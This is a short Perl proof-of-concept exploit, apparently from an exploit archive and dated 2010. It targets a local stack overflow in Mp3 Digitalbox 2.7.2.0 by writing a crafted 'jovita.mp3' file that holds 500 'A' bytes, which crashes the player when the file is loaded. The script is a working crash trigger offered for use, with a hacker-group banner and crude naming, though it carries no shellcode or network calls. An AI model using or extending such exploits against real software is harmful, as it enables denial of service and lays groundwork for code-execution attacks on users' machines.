Mp3 Digitalbox 2.7.2.0 - '.mp3' Local Stack Overflow (PoC)

#!/usr/bin/perl

# Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC
# Author	: v3n0m
# Site		: http://yogyacarderlink.web.id/
# Group		: YOGYACARDERLINK
# Date		: July, 02-2010 [INDONESIA]
# Software	: Mp3 Digitalbox
# Version	: 2.7.2.0 Other versions may also be affected
# Download	: http://www.tsoft.aplus.pl/
# Greetz	: All Yogyacarderlink & devilzc0de Crews
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|-----------------------------------------------------------|\n";
print "|   Mp3 Digitalbox 2.7.2.0 (.mp3) Local Stack Overflow POC  |\n";
print "| Created  : v3n0m                                          |\n";
print "| E-mail   : v3n0m666[at]live[dot]com                       |\n";
print "|                                                           |\n";
print "|                                                           |\n";
print "|                                 www.yogyacarderlink.web.id|\n";
print "|-----------------------------------------------------------|\n";
print " Usage: Run this c0de, load file and bo0om!!\n\n";
my $fuck = "\x41" x 500;
my $file = "jovita.mp3";
open (FILE,">$file") or die "[!]Cannot open file";
print FILE "$fuck";
print "\nFile successfully created!\n";